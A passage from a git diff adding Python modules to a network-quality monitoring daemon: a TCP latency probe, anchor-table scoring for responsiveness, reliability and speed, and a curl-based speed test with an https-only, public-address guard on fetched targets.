aliases, not copies, so "recent" cannot come to mean two things. + RETRANSMIT_WINDOW_S = RECENT_WINDOW_S + RETRANSMIT_MIN_SAMPLES = RECENT_MIN_SAMPLES + + def __init__(self, target: str, series: Series, interval_s: float = 1.0, + name: str = "", loaded_fn=None, port: int = 443): + super().__init__(name=f"tcp-{name or target}", daemon=True) + self.target = target + self.port = port + self.series = series + self.interval = max(0.25, interval_s) + self.loaded_fn = loaded_fn + self._stop = threading.Event() + self.ever_connected = False + # The recent round trips this probe has actually seen, for the + # comparison above. Bounded, and its own — the series it feeds is + # merged with other instruments and cannot answer "what does THIS + # path usually do". Held as (when, rtt) so the window is a duration + # rather than a count, which is what makes it survive a cadence + # change: a benched instrument probes at a fraction of the rate. + self._recent = collections.deque(maxlen=1024) + # Samples this probe declined to call latency, so the reclassification + # can be seen rather than inferred from a loss rate. A dropped SYN and + # a slow line are different faults with different owners. + self.retransmits = 0 + self.unclassified = 0 + + def stop(self): + self._stop.set() + + def set_interval(self, seconds: float): + """Picked up on the next cycle; nothing to tear down here.""" + self.interval = max(0.25, float(seconds)) + + def _loaded(self) -> bool: + try: + return bool(self.loaded_fn()) if self.loaded_fn else False + except Exception: + return False + + def _once(self): + started = time.time() + t0 = time.monotonic() + try: + sock = socket.create_connection((self.target, self.port), + timeout=self.CONNECT_TIMEOUT_S) + except (OSError, ValueError): + self.series.add(started, None, self._loaded()) + return + rtt = (time.monotonic() - t0) * 1000.0 + try: + sock.close() + except OSError: + pass + # The handshake completed, so the target is reachable, whatever the + # kernel had to do to get there. + self.ever_connected = True + verdict = self._classify(started, rtt) + if verdict == "retransmit": + # Loss on new connections, which is what it is. Recorded the same + # way a refused or timed-out connect already is, so it charges the + # loss term and Reliability rather than the latency percentiles. + self.retransmits += 1 + self.series.add(started, None, self._loaded()) + return + if verdict == "unknown": + # Past the floor before this probe has a baseline to judge it + # against. It is either a retransmit or a genuinely slow path and + # nothing here can tell which, so it is not recorded as either — + # inventing a loss and publishing a suspect latency are both + # claims, and the honest move is to make neither. + # + # It still feeds the baseline, and that is not an oversight. A + # link whose real round trip is past the floor — p50 1200 ms, say + # — has every sample land here, so a deque that only accepted + # classified samples would never reach its minimum, the baseline + # would never form, and the instrument would stay unclassified + # for ever: nothing recorded, count never growing, `penalty()` + # returning None, and the bench able neither to seat it nor to + # call it dead. A silent unrankable instrument, invisible because + # it is not failing, merely absent. + self.unclassified += 1 + self._recent.append((started, rtt)) + return + self._recent.append((started, rtt)) + self.series.add(started, round(rtt, 2), self._loaded()) + + def _baseline_ms(self, now: float): + """This instrument's own recent p50, or None while it has too few.""" + cutoff = now - self.RETRANSMIT_WINDOW_S + recent = [rtt for t, rtt in self._recent if t >= cutoff] + if len(recent) < self.RETRANSMIT_MIN_SAMPLES: + return None + return statistics.median(recent) + + def _classify(self, now: float, rtt_ms: float) -> str: + """"reply", "retransmit" or "unknown" for a handshake that completed. + + A connect rescued by a retransmitted SYN is a lost packet, not a slow + path, and the threshold has to be relative or it mislabels distance as + loss: one full RTO ABOVE what this instrument usually sees. A satellite + link whose p50 is 600 ms gets a threshold of 1500, so a 1045 ms sample + there stays the measurement it is. + """ + if rtt_ms < self.RETRANSMIT_MARGIN_MS: + return "reply" + baseline = self._baseline_ms(now) + if baseline is None: + return "unknown" + # Note what does NOT reach the baseline once one exists: a sample this + # returns "retransmit" for. Feeding those back would raise the + # threshold on the instrument's own retransmits and the rule would + # quietly stop firing exactly where it is needed most. + return "retransmit" if rtt_ms >= baseline + self.RETRANSMIT_MARGIN_MS \ + else "reply" + + def run(self): + while not self._stop.is_set(): + if not self.target: + self._stop.wait(5.0) + continue + t0 = time.monotonic() + try: + self._once() + except Exception: + # Never let a socket or DNS failure take the daemon with it. + pass + self._stop.wait(max(0.0, self.interval - (time.monotonic() - t0))) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/score.py b/plugins/io.github.x3me.nexthop/nexthopd/score.py new file mode 100644 index 0000000..8b8affd --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/score.py @@ -0,0 +1,553 @@ +"""Turning measurements into the three component scores and the index. + +The shape follows Orb: Responsiveness, Reliability and Speed each score +0-100, and the index is the weakest of them with a nudge from the other two +(`index`, 0.1.10 — a plain mean let one dead dimension hide behind two good +ones). Ranking a connection by its download number alone is exactly the +habit that leaves people with a fast line that feels broken on a video call. + +Every threshold below is an anchor table rather than a formula. Anchors are +arguable in public, which is the point: someone who disagrees that 60 ms of +lag is a 78 can say so about one number instead of reverse-engineering a +curve. +""" + +# Lag in ms -> Responsiveness score. Interpolated linearly between anchors. +LAG_ANCHORS = [ + (10, 100), (20, 95), (35, 88), (60, 78), (100, 68), + (200, 50), (400, 30), (800, 10), (1500, 0), +] + +# Fraction of the plan achieved -> Speed score, used only when the user has +# configured a plan. Deliberately forgiving in the middle: an ISP delivering +# 80% of a sold plan is doing fine, and a score that punished that would cry +# wolf every evening. +SPEED_ANCHORS = [ + (0.0, 0), (0.1, 15), (0.25, 35), (0.5, 60), + (0.7, 75), (0.85, 88), (1.0, 96), (1.15, 100), +] + +# The default basis: Mbps -> score, anchored to what applications need +# rather than to any plan. Speed has steep diminishing returns — 25 Mbps +# carries a 4K stream, ~100 feels instant for nearly everything, and past +# ~300 a person cannot tell the difference — so the curve saturates. +SPEED_ABS_DOWN = [ + (0, 0), (5, 25), (25, 55), (50, 70), (100, 82), + (200, 90), (300, 94), (500, 98), (750, 100), +] +SPEED_ABS_UP = [ + (0, 0), (2, 30), (5, 55), (10, 70), (20, 82), + (50, 92), (100, 100), +] + +BANDS = [(90, "excellent"), (80, "good"), (70, "okay"), (50, "fair"), (0, "poor")] + + +def _interp(anchors, x): + if x <= anchors[0][0]: + return float(anchors[0][1]) + if x >= anchors[-1][0]: + return float(anchors[-1][1]) + for i in range(1, len(anchors)): + x0, y0 = anchors[i - 1] + x1, y1 = anchors[i] + if x <= x1: + span = x1 - x0 + return float(y0 + (y1 - y0) * ((x - x0) / span if span else 0)) + return float(anchors[-1][1]) + + +# What one lost packet costs, in milliseconds. It is a retransmit timeout, +# so it scales with the link's own round trip rather than being a constant: +# RTO is roughly SRTT + 4·RTTVAR, and nothing recovers faster than Linux's +# 200 ms floor. The stall factor is on top, because a drop costs more than +# the resent packet — everything behind it waits (head-of-line blocking) +# and the congestion window has to climb back. +LOSS_RTO_FLOOR_MS = 200.0 +LOSS_RTT_MULTIPLIER = 3.0 +LOSS_STALL_FACTOR = 5.0 + + +def loss_cost_ms(p75_ms: float) -> float: + """Milliseconds of felt lag per unit of loss, for a link this fast. + + Below ~67 ms p75 this returns 1000, which is exactly the flat constant + it replaces — so ordinary connections score as they always did. Above + it the charge grows with the round trip, which is the part the constant + got wrong: on a 600 ms satellite link a dropped packet does not cost the + same 10 ms per percent that it costs on fibre. + """ + return LOSS_STALL_FACTOR * max(LOSS_RTO_FLOOR_MS, + LOSS_RTT_MULTIPLIER * max(0.0, p75_ms)) + + +def lag_ms(stats: dict): + """One number for how the connection feels, in milliseconds. + + Latency alone under-reports: a link that is 10 ms most of the time but + swings to 90 ms and drops a packet every few seconds feels much worse + than its median suggests. So lag leans on p75 rather than the median, + adds the jitter the user actually perceives, and charges for loss at a + rate that reflects a retransmit round trip on THIS link. + """ + if not stats or stats.get("count", 0) == 0: + return None + loss = stats.get("loss") or 0.0 + if stats.get("p75") is None: + # Everything was lost. There is no latency to report, only a verdict. + return None if loss < 1.0 else 1500.0 + base = stats["p75"] + jitter = stats.get("jitter") or 0.0 + return round(base + 1.5 * jitter + loss * loss_cost_ms(base), 1) + + +def lag_band(stats: dict) -> dict: + """Lag at three latency percentiles: best, typical, worst. + + All three go through the same fold, differing only in which percentile + they lean on, and that is the whole point. The panel used to pair a + loss-charged "typical" with raw millisecond figures either side of it, + so a lossy link displayed "best 4 · typical 644 · worst 26" — three + numbers that cannot all be true at once, because two were round trips + and one was a composite. + + Sharing the fold makes the ordering hold by construction and makes loss + move all three together, which is what a reader assumes a range means. + """ + if not stats or stats.get("count", 0) == 0: + return {"best": None, "typical": None, "worst": None} + if stats.get("p75") is None: + # Everything in the window was lost. `lag_ms` answers 1500 here so + # Responsiveness lands on zero, which is its job — but 1500 is an + # anchor, not a measurement, and the panel used to print it three + # times as though the link were replying slowly. There is no latency + # to display, so display none. + return {"best": None, "typical": None, "worst": None} + out = {} + prev = None + for name, key in (("best", "p50"), ("typical", "p75"), ("worst", "p95")): + v = lag_ms(dict(stats, p75=stats.get(key))) + # p95 can equal p75 on a short window, and a percentile can be + # missing; neither may let the range read backwards. + if v is not None and prev is not None: + v = max(v, prev) + out[name] = v + if v is not None: + prev = v + return out + + +def responsiveness(lag): + if lag is None: + return 0.0 + return round(_interp(LAG_ANCHORS, lag), 1) + + +RELIABILITY_WINDOW_S = 24 * 3600 + +# A self-healed interruption is real but not as bad as being down, so its +# time is charged at a discount. +DISRUPTION_TIME_WEIGHT = 0.5 +# Each interruption also costs recovery beyond its own length — a dropped +# call is redialled, a stream rebuffers, a download restarts — so every +# event carries this much equivalent disruption. Expressed in SECONDS on +# purpose: a penalty in raw points cannot be compared with downtime, which +# is exactly how the old flat "6 points per disruption" ended up charging a +# brief blip more than an hour offline. +DISRUPTION_RECOVERY_S = 300.0 +# Backstop so a pathological count can never dominate the component. +DISRUPTION_MAX_PENALTY = 25.0 + + +def reliability(outage_fraction: float, disruptions: int, covered: bool = True, + disruption_fraction: float = 0.0, + window_s: float = RELIABILITY_WINDOW_S): + """Uptime, not smoothness — everything charged in one currency: time. + + Orb moved reliability to bite only during true outages, and that is the + right call: a wobbly ten minutes is already punished by responsiveness, + and double-counting it made the overall score swing on a single bad + evening. Here an outage is total loss on the wan leg; a disruption is a + shorter interruption that resolved on its own. + + Both are now charged by DURATION. They used to be charged in different + currencies — outages by their share of the window, disruptions at a flat + 6 points each — and the units did not meet: over a 24 h window one + ten-minute outage cost 0.7 points while three self-healed blips cost 18, + so the milder event was punished twenty-six times harder, and seventeen + blips zeroed the component outright. Time is the honest unit for "how + much of today was this connection unusable", and an event's recovery + cost is expressed in seconds so it lands on the same scale. + """ + if not covered: + return 100.0 + window = window_s if window_s and window_s > 0 else RELIABILITY_WINDOW_S + down = max(0.0, min(1.0, outage_fraction)) + disrupted_s = (max(0.0, min(1.0, disruption_fraction)) * window + + max(0, disruptions) * DISRUPTION_RECOVERY_S) + penalty = min(DISRUPTION_MAX_PENALTY, + 100.0 * DISRUPTION_TIME_WEIGHT * min(1.0, disrupted_s / window)) + score = 100.0 - 100.0 * down - penalty + return round(max(0.0, min(100.0, score)), 1) + + +def speed_absolute(down_mbps, up_mbps): + """Is it fast enough — scored against what applications need. + + Download is weighted 3:1 over upload. That is not a claim that upload + matters less in general — it is that most lines are asymmetric by + design, so equal weighting would score every ordinary connection as + broken. + """ + if down_mbps is None: + return None + parts = [(_interp(SPEED_ABS_DOWN, down_mbps), 3.0)] + if up_mbps is not None: + parts.append((_interp(SPEED_ABS_UP, up_mbps), 1.0)) + weighted = sum(v * w for v, w in parts) + return round(weighted / sum(w for _, w in parts), 1) + + +# A Speed figure may be reported and still be too thin to set the headline. +# Two samples is the floor because the guard above it is a median: with one +# sample there is no median to take, so the single check IS the verdict — +# and the least trustworthy check of all is the first one after joining a +# network, taken while the link is still settling. +MIN_SPEED_SAMPLES = 2 +# A saturating test that read at least this much more than the everyday +# basis has disproved it. Peak stays unscored — a manual test must not +# flatter the score — but it can withdraw a figure it contradicts. +PEAK_CONTRADICTION_RATIO = 2.0 + + +def speed_scored(down_mbps, samples: int, peak_down=None) -> bool: + """May this Speed figure set the index, or only be displayed? + + The index is weakest-link, so whichever component is lowest becomes the + headline. Responsiveness and Reliability are built from thousands of + probes a minute; Speed is one 12 MB sample an hour. Letting the thinnest + input hold a veto is how a healthy 380 Mbps line reported POOR off a + single check taken 55 seconds after associating, while a peak test on + the same line minutes later read four times higher. + + So the rule is not new weighting, it is eligibility: a figure that is + under-sampled, or contradicted by a faster measurement of the same line, + is shown with its reason and left out of the index. `index` already + skips a component it does not have rather than inventing one — this + gives it the same honesty for a component we have but do not trust. + """ + if down_mbps is None: + return False + if samples < MIN_SPEED_SAMPLES: + return False + if peak_down and peak_down >= down_mbps * PEAK_CONTRADICTION_RATIO: + return False + return True + + +def degradation_penalty(down_mbps, baseline_down): + """Is it normal for this network — a penalty for big drops only. + + The baseline is the connection's own recent p90. Sharing an office line + means honest hour-to-hour variance, so nothing below a 40% shortfall + counts; from there the penalty grows to 35 points at zero. This is what + catches "we normally get 300 here and today it is 60" on a line whose + absolute score would still look comfortable. + """ + if down_mbps is None or not baseline_down or baseline_down <= 0: + return 0.0 + ratio = down_mbps / baseline_down + if ratio >= 0.6: + return 0.0 + return round((0.6 - ratio) / 0.6 * 35.0, 1) + + +def speed(down_mbps, up_mbps, plan_down=0, plan_up=0, baseline_down=None): + """The Speed component. + + With a configured plan: scored against the plan (ISP accountability — + opt-in, because almost nobody configures a plan and shared office lines + have no meaningful one). Without: the absolute experience curve, minus + the degradation penalty against the connection's own baseline. + """ + if down_mbps is None: + return None + if plan_down and plan_down > 0: + ratios = [(down_mbps / plan_down, 3.0)] + if plan_up and plan_up > 0 and up_mbps is not None: + ratios.append((up_mbps / plan_up, 1.0)) + weighted = sum(_interp(SPEED_ANCHORS, r) * w for r, w in ratios) + return round(weighted / sum(w for _, w in ratios), 1) + base = speed_absolute(down_mbps, up_mbps) + if base is None: + return None + return round(max(0.0, base - degradation_penalty(down_mbps, baseline_down)), 1) + + +# How much of the index the worst component owns. The remainder lets the +# other two nudge it up a little, so "everything else is excellent" still +# reads differently from "everything is mediocre". +INDEX_WORST_WEIGHT = 0.92 + + +def index(resp, rel, spd): + """Weakest-link, skipping any component we genuinely cannot measure. + + A mean let one broken dimension hide behind two good ones: a line + scoring Responsiveness 40, Reliability 100, Speed 95 averaged to 78 and + read as "okay" — while video calls on it did not work. That is exactly + the habit this module exists to avoid, reintroduced at the last step. + People experience the bottleneck, not the average, so the worst + component sets the number and the others only nudge it. + + This also puts us where the rest of the field is: Pulse aggregates + weakest-link (validated against a real fleet) and IETF + draft-ietf-ippm-qoo takes a strict minimum. A mean was the outlier. + + Scoring an unmeasured component as zero would be a lie; scoring it as + 100 would be a different lie. Leaving it out and saying so is honest, + and it means the index is useful within seconds of starting rather than + after the first speed test lands. + """ + parts = [p for p in (resp, rel, spd) if p is not None] + if not parts: + return None + worst = min(parts) + others = list(parts) + others.remove(worst) # by equality: one instance, ties keep the rest + if not others: + return int(round(worst)) + rest = sum(others) / len(others) + return int(round(INDEX_WORST_WEIGHT * worst + (1.0 - INDEX_WORST_WEIGHT) * rest)) + + +# The states in which a headline index is not a current reading. +OUTAGE_STATES = ("local-down", "wan-down") + + +def scored_now(state): + """Whether an index may stand as the headline in this state. + + Not while a leg is confirmed down. Every input to the index describes a + window that mostly predates the outage: Lag reads 30 s that still holds + pre-outage replies, and Reliability charges the downtime against 24 h, + where a minute is 0.07 % and rounds away. Speed is skipped honestly. + Weakest-link over two components that both still read 100 therefore + reports 100 — seen in the wild on a real 61 s Wi-Fi drop, the panel + showing EXPERIENCE 100 directly beneath its own ROUTER UNREACHABLE. + + Withheld rather than lowered, because any number chosen here would be + invented, and the state is already the honest headline: the panel draws + the verdict beside it and the bar counts the outage. Same rule as + scoring None rather than fabricating a figure. + + A quiet spell is deliberately not an outage. gateway-quiet and + icmp-quiet leave the state calm precisely because traffic is still + crossing the leg, so the index keeps standing there and should. + """ + return state not in OUTAGE_STATES + + +def band(score): + if score is None: + return "unknown" + for floor, name in BANDS: + if score >= floor: + return name + return "poor" + + +# Below this the two legs are indistinguishable at our resolution, and a +# near-zero ISP leg is physically possible (an anchor a hop past the +# gateway). Above it, the router answering slower than the internet behind +# it means the two independent distributions disagree and the subtraction is +# void — not that the ISP adds nothing. +WAN_INVERSION_TOLERANCE_MS = 1.0 + + +def wan_point_ms(total_ms, local_ms): + """The ISP leg for ONE pair of readings, or None when it says nothing. + + The same rule `wan_from` applies per statistic, factored out so the + per-point series in recent.json and the per-window statistics cannot + drift apart. A gateway that answers slower than the internet behind it + is common — plenty of them deprioritise ICMP addressed to themselves — + and the subtraction has nothing to say about the line when it happens, + so the answer is None rather than a clamped zero. + """ + if total_ms is None or local_ms is None: + return None + if local_ms > total_ms + WAN_INVERSION_TOLERANCE_MS: + return None + return round(max(0.0, total_ms - local_ms), 2) + + +def wan_from(total: dict, local: dict) -> dict: + """The ISP leg: what is left of the round trip once the router's share is gone. + + The two probes are not synchronised, so this subtracts distributions + rather than individual packets — p50 from p50, p75 from p75. Loss on the + wan leg is whatever the internet probe lost beyond what the router probe + lost, since loss on the local link shows up in both. + """ + out = {"count": total.get("count", 0)} + prev = 0.0 + for key in ("p50", "p75", "p95", "max"): + t, l = total.get(key), local.get(key) + # One refusal, in one place — `wan_point_ms` — for both reasons it + # refuses, because a rule whose whole job is to withhold must not + # have a second copy that can forget to. + # + # It withholds when the router answered SLOWER than the internet + # behind it, because `total = local + wan` does not hold and the + # subtraction has nothing to say. Clamping the negative to zero used + # to report the ISP leg as 0.0 ms — the best possible answer, from an + # invalid measurement, on the number the whole panel is built around. + # It happens for a real reason: plenty of gateways deprioritise or + # rate-limit ICMP addressed to themselves, so their own replies are + # slow while everything they forward is fast. That says something + # about the gateway's control plane, not about the link. + # + # And when either reading is missing: unknown, not zero. Substituting + # 0 for a local statistic we do not have made the derived leg equal + # the whole round trip, so a silent gateway produced a confident, + # healthy-looking internet figure that was really the total wearing + # the wan leg's label. + v = wan_point_ms(t, l) + if v is None: + out[key] = None + continue + # Subtracting two independent distributions statistic-by-statistic + # can invert the order (a wan p95 below the wan p50) when the local + # leg's tail is fatter than the total's. Each statistic is floored + # at the one before it so the derived leg reads like a distribution. + # The floor has to carry forward FLOORED, not raw: `prev` is what the + # previous statistic ended up reporting, so a p95 that subtracts lower + # than the p50 still reads as a distribution. + v = max(prev, v) + out[key] = round(v, 2) + prev = v + t, l = total.get("last"), local.get("last") + if t is None or (l is not None and l > t + WAN_INVERSION_TOLERANCE_MS): + out["last"] = None + else: + out["last"] = round(max(0.0, t - (l or 0.0)), 2) + # Jitter does not subtract: variance on the local link propagates into + # the total, so the honest reading is "no less than the total's jitter + # minus the local's", floored at zero. + tj, lj = total.get("jitter"), local.get("jitter") + out["jitter"] = None if tj is None else round(max(0.0, tj - (lj or 0.0)), 2) + tl, ll = total.get("loss"), local.get("loss") + out["loss"] = None if tl is None else max(0.0, tl - (ll or 0.0)) + return out + + +# How close to the idle baseline counts as drained. A queue does not empty +# to the exact millisecond it started from, and demanding that would report +# "never recovered" on a link that plainly had. +DRAIN_TOLERANCE = 1.25 +# Longest drain worth reporting. Past this the link did not recover from a +# burst, it is simply in a different state, and calling that a drain time +# would flatter it. +DRAIN_MAX_S = 30.0 + + +def drain_after_load(samples, baseline_ms: float) -> dict: + """How long latency took to fall back to baseline after load stopped. + + Bufferbloat is reported everywhere as a depth — how much delay a busy + link adds. Depth alone cannot tell apart two links a user experiences + very differently: one whose queue fills and empties the instant traffic + stops, and one that stays full for seconds afterwards. The second ruins + a call after the download has finished; the first does not. + + Pure, and fed the sample stream it already has: `(t, rtt, loaded)` + tuples, where the third element is the load tag added in 0.1.11. No + extra traffic, and nothing to schedule — the user's own usage supplies + the burst. + + Returns `{"ms": None}` when there is nothing to say, which is most of + the time: no burst in the window, or the link never came back inside + `DRAIN_MAX_S`, or the baseline is unknown. + """ + out = {"ms": None, "settled": None} + if not samples or not baseline_ms or baseline_ms <= 0: + return out + # The most recent load -> idle transition, which is the only one whose + # recovery is still visible in this window. + last_loaded = None + for i, sm in enumerate(samples): + if len(sm) > 2 and sm[2]: + last_loaded = i + if last_loaded is None or last_loaded == len(samples) - 1: + return out # no burst, or still under load + ended_t = samples[last_loaded][0] + target = baseline_ms * DRAIN_TOLERANCE + for sm in samples[last_loaded + 1:]: + if sm[1] is None: + continue # a lost probe says nothing either way + if sm[1] <= target: + span = sm[0] - ended_t + if span > DRAIN_MAX_S: + return out + out["ms"] = round(max(0.0, span) * 1000.0, 0) + out["settled"] = True + return out + # Still above the baseline at the end of the window: report the floor it + # has already exceeded rather than a number implying it recovered. + span = samples[-1][0] - ended_t + if 0 < span <= DRAIN_MAX_S: + out["ms"] = round(span * 1000.0, 0) + out["settled"] = False + return out + + +# Queueing delay, in milliseconds, that separates a link carrying traffic +# comfortably from one holding packets up. Deliberately the same shape as +# the bufferbloat grades and the Latency tab's copy, and deliberately about +# the ABSOLUTE delay rather than its share of the round trip: a socket to +# another continent is mostly distance, and a proportion would call that +# congested. +PRESSURE_BUSY_MS = 10.0 +PRESSURE_CONGESTED_MS = 30.0 + + +def pressure(socket_queue_ms=None, loaded_ms=None, idle_ms=None) -> dict: + """What the connection is doing RIGHT NOW, as opposed to lately. + + The index cannot answer this and is not meant to. It is a weakest-link + score over three components, one of which — Speed — moves at + content-check cadence, so when it is the weakest the index barely + responds to anything else. Measured live: a saturating test drove + Responsiveness down 14.6 points while the index moved from 75.0 to + 75.0, because Speed sat permanently lowest at 73.1. Both numbers were + correct; neither answered "is it bad right now". + + So this is a separate, fast channel rather than a change to the index. + It reports queueing delay, which is the thing a user actually feels + during a burst, and it prefers the figure taken from their own TCP + connections (`sockets.queue_p50`, the kernel's own timing) over our + probes' loaded-minus-idle difference, because real traffic to real + destinations beats an inference from two sample populations. + + Returns `state: None` when neither source can say, which is honest and + common on an idle machine with nothing to measure. + """ + src, q = None, None + if socket_queue_ms is not None and socket_queue_ms >= 0: + src, q = "sockets", float(socket_queue_ms) + elif (loaded_ms is not None and idle_ms is not None + and loaded_ms >= idle_ms): + # Only when the difference points the right way; queueing cannot be + # negative, and a negative difference means the split is unreliable + # rather than that load helped. + src, q = "probes", float(loaded_ms - idle_ms) + if q is None: + return {"state": None, "queue_ms": None, "source": None} + if q >= PRESSURE_CONGESTED_MS: + state = "congested" + elif q >= PRESSURE_BUSY_MS: + state = "busy" + else: + state = "clear" + return {"state": state, "queue_ms": round(q, 1), "source": src} diff --git a/plugins/io.github.x3me.nexthop/nexthopd/speedtest.py b/plugins/io.github.x3me.nexthop/nexthopd/speedtest.py new file mode 100644 index 0000000..2d975c7 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/speedtest.py @@ -0,0 +1,561 @@ +"""Speed measurement, two kinds. + +Content speed: a short ranged download and a small upload, on a schedule, small enough to +be honest about the connection without being a burden on it. This is what +feeds the Speed score, following Orb's split — score the everyday number, +keep the fireworks manual. + +Peak speed: saturates the line, only ever on demand. Prefers the official +Ookla CLI when installed (server choice, shareable result), falls back to +Cloudflare's endpoints via curl, then fast.com via the same API Omarchy's +built-in speed test uses. Both fallbacks need nothing installed beyond curl. + +Loaded latency is sampled during the peak download by the daemon's existing +probes, not here — the test just records the window it ran in. +""" + +import ipaddress +import json +import shutil +import socket +import subprocess +import threading +import time +from typing import Optional +from urllib.parse import urlparse + +CLOUDFLARE_DOWN = "https://speed.cloudflare.com/__down?bytes={n}" +CLOUDFLARE_UP = "https://speed.cloudflare.com/__up" +# The token fast.com's own web client uses; Omarchy's built-in speed test +# ships the same one. +FAST_API = ("https://api.fast.com/netflix/speedtest/v2" + "?https=true&token=YXNkZmFzZGxmbnNkYWZoYXNkZmhrYWxm&urlCount=3") + + +def vet_target(url: str): + """(url, --resolve argument) for a target we will fetch, else None. + + Only for URLs WE DID NOT CHOOSE. fast.com nominates its own download + hosts, so that JSON decides what this daemon connects to, and it has + to be treated as hostile input rather than as a list of Netflix + servers. Three things must hold: + + 1. the scheme is https, so a nominated target cannot downgrade the + transfer to plaintext or hand curl a `file://` path; + 2. EVERY address the host resolves to is public, so a speed test can + never be aimed at a router's admin page, a service on loopback, + or a link-local metadata address; + 3. the address that passed (2) is the one curl actually connects to. + + The third is the point most of this class gets wrong: resolving here + and letting curl resolve again is a check-then-use race, and a DNS + answer that returns a public address to us and a private one to curl + wins it. Pinning the vetted addresses with --resolve closes that + window, the same way every other read in this daemon is enforced on + the thing actually used rather than on a name looked up earlier. + """ + try: + parsed = urlparse(url) + except ValueError: + return None + if parsed.scheme != "https" or not parsed.hostname: + return None + port = parsed.port or 443 + try: + infos = socket.getaddrinfo(parsed.hostname, port, type=socket.SOCK_STREAM) + except (OSError, ValueError, UnicodeError): + return None + addrs = [] + for info in infos: + try: + ip = ipaddress.ip_address(info[4][0]) + except ValueError: + return None + if ip.version == 6 and ip.ipv4_mapped is not None: + ip = ip.ipv4_mapped + # Spelled out rather than leaning on is_global alone, whose range + # table has been corrected across Python versions we may run on. + if (ip.is_private or ip.is_loopback or ip.is_link_local + or ip.is_multicast or ip.is_reserved or ip.is_unspecified): + return None + addrs.append(str(ip)) + if not addrs: + return None + return url, "%s:%d:%s" % (parsed.hostname, port, ",".join(addrs)) + + +def _curl(args, timeout) -> Optional[subprocess.CompletedProcess]: + if not shutil.which("curl"): + return None + try: + # --proto =https refuses anything but TLS even if a target or a + # server tries something else; we never pass -L, so there is no + # redirect for it to follow either. + return subprocess.run(["curl", "-fsS", "--proto", "=https", + "--max-time", str(int(timeout))] + args, + capture_output=True, text=True, timeout=timeout + 5, + check=False) + except (subprocess.TimeoutExpired, OSError): + return None + + +# A transfer shorter than this carried too few bytes for its own duration to +# be worth dividing by: the timing error, not the line, would set the answer. +MIN_TIMED_WINDOW_S = 0.05 + + +def _rate_over_payload(size: float, t_total: float, t_payload_start: float): + """Mbps over the part of the request that actually carried bytes. + + curl's own `speed_download` divides the bytes by the WHOLE request — + DNS, the TCP connect, the TLS handshake and the wait for the first byte + included. None of that carried payload, and none of it shrinks when the + line gets faster, so it is a fixed tax on a measurement whose useful part + keeps getting shorter: a 3 MB stream is ~240 ms of payload on a 400 Mbps + line and ~107 ms on a gigabit one, against the same ~70-90 ms of setup. + That is not noise. It is a bias that grows with the quantity being + measured, which made the check read a 900 Mbps line as roughly 220 and + put a ceiling near 480 on a scale whose top two anchors are 500 and 750. + + Dividing by a window instead of by the total is only honest while the + window is long enough to divide by, so a sample too short to time is + withheld rather than published — the same rule the rest of the daemon + uses for a figure it cannot stand behind. + """ + window = t_total - t_payload_start + if window < MIN_TIMED_WINDOW_S or size <= 0: + return None + return size * 8 / 1e6 / window + + +def _curl_timed_download(url: str, timeout: float, resolve: str = None): + """(mbps, bytes), timed over the payload rather than the whole request.""" + pin = ["--resolve", resolve] if resolve else [] + r = _curl(pin + ["-o", "/dev/null", + "-w", "%{size_download} %{time_total} %{time_starttransfer}", + url], + timeout) + if not r or r.returncode != 0: + return None, 0 + try: + size, t_total, t_start = (float(x) for x in r.stdout.split()) + except ValueError: + return None, 0 + return _rate_over_payload(size, t_total, t_start), int(size) + + +def _upload_argv(url: str, timeout: float): + """The one upload invocation, shared by the single and parallel forms. + + The body is piped in — pointing curl at /dev/zero directly would have it + read the file to its end, which /dev/zero does not have.""" + return ["curl", "-fsS", "--proto", "=https", "--max-time", str(int(timeout)), + "-o", "/dev/null", "-X", "POST", "--data-binary", "@-", + "-H", "Content-Type: application/octet-stream", + # Not time_starttransfer: on a POST that is the first byte of the + # RESPONSE, and against speed.cloudflare.com it arrives right after + # the handshake (the 100-continue), not after the body. The TLS + # handshake completing is when this request starts putting bytes + # on the wire. + "-w", "%{size_upload} %{time_total} %{time_appconnect}", url] + + +def _parallel_upload(url: str, per_stream: int, streams: int, timeout: float): + """Sum of concurrent upload stream rates. + + The download learned in 0.1.x that one TCP stream cannot fill a fast line — + a single-stream check read this 450 Mbps connection as 54 — and grew + `_parallel_download` for it. The upload never did, in either the hourly + check or the peak, so both were reading one stream's ceiling and calling + it the line. Measured here: the same 2 MB carried by four streams instead + of one read 36% higher, and 4 MB over four streams read more than twice + what the shipping 2 MB over one did. + + Every stream is handed the same immutable buffer, so the memory cost is + one stream's worth of zeros rather than N. + """ + if not shutil.which("curl"): + return None, 0 + body = b"\0" * per_stream + procs = [] + for _ in range(streams): + try: + spawned = time.monotonic() + procs.append((subprocess.Popen( + _upload_argv(url, timeout), stdin=subprocess.PIPE, + stdout=subprocess.PIPE, stderr=subprocess.DEVNULL), spawned)) + except OSError: + pass + # A pipe holds far less than a stream's body, so writing them in turn + # would serialise the very thing being parallelised: each child gets a + # thread that feeds it and collects its result. + outs = [None] * len(procs) + + def feed(i, proc): + try: + outs[i] = proc.communicate(input=body, timeout=timeout + 10)[0] + except subprocess.TimeoutExpired: + proc.kill() + proc.wait() + + workers = [threading.Thread(target=feed, args=(i, proc), daemon=True) + for i, (proc, _) in enumerate(procs)] + for w in workers: + w.start() + for w in workers: + w.join(timeout + 15) + + windows, total_bytes = [], 0 + for i, (proc, spawned) in enumerate(procs): + if proc.returncode != 0 or not outs[i]: + continue + try: + size, t_total, t_app = (float(x) for x in outs[i].decode().split()) + except (ValueError, UnicodeDecodeError): + continue + total_bytes += int(size) + windows.append((size, spawned + t_app, spawned + t_total)) + return _aggregate_rate(windows), total_bytes + + +def _curl_timed_upload(url: str, n_bytes: int, timeout: float): + """One upload stream. Kept for the peak's estimate pass, which only needs + a rough rate to size the real one.""" + if not shutil.which("curl"): + return None, 0 + cmd = ["curl", "-fsS", "--proto", "=https", "--max-time", str(int(timeout)), + "-o", "/dev/null", "-X", "POST", "--data-binary", "@-", + "-H", "Content-Type: application/octet-stream", + # Not time_starttransfer: on a POST that lands part way through + # the body, not after it. The TLS handshake completing is when + # this request starts putting bytes on the wire. + "-w", "%{size_upload} %{time_total} %{time_appconnect}", url] + try: + r = subprocess.run(cmd, input=b"\0" * n_bytes, capture_output=True, + timeout=timeout + 5, check=False) + except (subprocess.TimeoutExpired, OSError): + return None, 0 + if r.returncode != 0: + return None, 0 + try: + size, t_total, t_app = (float(x) for x in r.stdout.decode().split()) + except 